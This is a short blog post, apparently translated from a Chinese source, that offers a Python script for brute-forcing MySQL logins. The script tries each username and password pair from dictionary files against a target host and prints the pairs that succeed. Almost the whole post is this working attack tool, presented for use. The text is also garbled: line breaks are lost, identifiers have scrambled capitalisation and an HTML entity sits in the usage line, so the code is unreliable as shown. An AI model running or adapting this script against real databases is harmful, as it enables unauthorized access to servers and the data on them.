Disadvantages:
Network segment not supported
Single Thread
# -*- coding: utf_8 -*-# date: 2015/5/13# author:sanrimport Mysqldbimport osimport sysdef readme (): print ' + ' + '-' * 50 + ' + ' print ' \t python mysql blasting ' print ' \t author : sanr ' print ' \t time:2015-5-13 ' print ' \t mysql default dictionary in program directory mysql directory ' print ' + ' + '-' * 50 + ' + ' if len (SYS.ARGV) != 5: print os.path.basename (sys.argv[0]) + " 127.0.0.1 3306&nbSp; user.txt pass.txt " sys.exit () def mysql_brute (NAME,PWD): db = none try: db = mysqldb.connect (host=sys.argv[1],user=name,passwd=pwd,db= ' MySQL ', Port=int (sys.argv[2])) print ' cracked success: %s %s '% (name,pwd) except: pass finally : if db: Db.close () if __name__ == ' __main__ ': readme () userlist = [i.rstrip () for i in open (' mysql/' +sys.argv[3])] passlist = [j.rstrip () for j in open (' mysql/' +sys.argv[4])] for name in userlist: for pwd in passlist: mysql_brute (NAME,PWD)
This article is from the "Sanr" blog, make sure to keep this source http://0x007.blog.51cto.com/6330498/1651025
Python MySQL Blast